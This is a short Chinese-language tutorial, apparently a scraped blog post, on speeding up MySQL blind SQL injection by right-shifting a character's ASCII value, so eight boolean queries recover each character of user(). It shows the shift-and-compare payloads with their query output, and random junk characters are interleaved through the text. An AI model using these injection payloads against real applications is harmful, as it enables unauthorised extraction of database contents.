关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
* S3 R* e/ O8 }) z0 F& W/ a

* O5 M! |2 Z. y5 b
! {8 m& C" g: S下面将以查询mysql数据库当中user()的第一位为例:
3 U( X8 i, A6 x( s* I


' d' V: q0 c  ~# g5 Xps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


. M3 }! W  C- P% W9 F
首先执行如下sql语句:
  ~) w/ t$ o4 o. Z: ~3 [7 f1 g

; ]7 R( J! E8 t7 f$ c; c  b
. S5 V; V. X, x7 j/ D# @" ]0 Z! z" _mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

6 ~* o! x" w) _  q" U1 q

6 G4 W7 C8 }; C! ~5 K% x/ b我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
+ r; t' T+ q/ I1 l2 \9 @) O
! L5 t- r0 l9 h+ r6 s

7 b7 \0 ]0 N9 @+ E  }第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

9 ?4 p1 U/ t2 b" j4 c& j

如果运算结果为1,说明第一位为0,不为1



, s+ s) V- B. [9 [+————————————–+
2 z6 B$ ]0 M2 a9 d; N" u
| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+
7 `/ ^  [: K& B2 g
  h7 n9 `# f, ?| 1 |
2 s! z$ v% m# `% E7 ]. M; u
+————————————–+
8 Z: {4 x2 m  Q# t1 L
1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0

/ O! o' }$ X5 s0 ]
: E: |& T# d# b( q0 M" P
) }1 ~( f& N$ P0 G# a1 X第二次我们来做6次右偏移来确定前两位


8 I  i& I2 C. i, u2 o! f' e  e: T
前两位可能是01或00,即依然可以与0做比较,
* l/ o' }1 l7 S" K! _* i
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

. Q3 V3 n4 H5 y+ b3 D! Y8 f1 t+————————————–+

. V- D" ^. I1 ]1 Q| (ascii((substr(user(),1,1))) >> 6)=0 |

" W- V% P5 A1 h$ N+————————————–+
. b  _4 v+ i$ \$ h0 ]+ l
| 0 |
5 b4 o7 A; c1 e' l; @% ]
1 F7 }+ l) ~4 s! u$ Z, T5 o+ N+————————————–+
2 R  q! `) E3 v, I2 V/ b
1 row in set (0.00 sec)


% E* Q5 K1 ~% ~8 K' ?1 z/ B
结果为0,即第二位为1



开始猜测前三位为010或011
, [. k3 k7 Y0 A3 f
/ ?6 s& q$ J5 H! B( v0 |

让我们看看010和011的ascii码是多少

  c5 Z" d+ Y4 l
/ S0 d- b; @$ D% f  j  Z6 q. K3 m
分别查询select b’011′ select b’010′
; I2 u' z) ]/ `0 r3 B; v. i


4 \* ?0 Q/ |8 X7 A! K  ^获得结果 010 = 2 011 = 3
6 |& G4 q5 [+ D9 h  Y4 o( A8 z

7 ~) |$ P  o2 B, Q- P, v
( z* _% X) G5 c0 k2 _% Q执行如下sql:
2 }6 X$ ?6 ^9 I. ]8 q7 U
  W9 U7 d& b6 j/ T5 H: T2 s
! _# c5 e! r7 C9 o
; u& k2 L# ]$ F6 m! M1 T; h1 umysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+
; J# Z5 q3 a# H* ?
| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+

& _7 x: z5 R4 K5 S| 0 |

+————————————–+
  W2 e7 C' c9 D% {/ s1 {
: |) I, T7 n% R5 t! ]7 f% F1 p即前三位不为010,而是011
5 W/ W: B& w) E( x0 O/ A
- C& K, M/ ^7 \) F

直到获得最后一位



3 g  T9 U) [, ~: l0 G最终结果为:01110010


! S$ ~% v2 t) k" [
转换一下:

3 V+ c8 z# j! y8 k
+ ?2 O5 S. _, \' C3 Q8 F) B+ y
select b’01110010′


" w+ B/ {; J3 ?" g8 `9 }. u5 x, \6 f
查询结果

: w3 {+ V% T/ x
/ }' \1 ~( i8 @0 l
+————-+

| b’01110010′ |

+————-+
! U% r' [- U  u! @7 U! B+ r
| r |
: O% ?# C6 g( U' c
+————-+

1 row in set (0.00 sec)


& R) b( y3 r  o( f1 V* H7 q
这样我们就获得了user()的第一位.其它位依此类推
" \: e1 H! l( P- K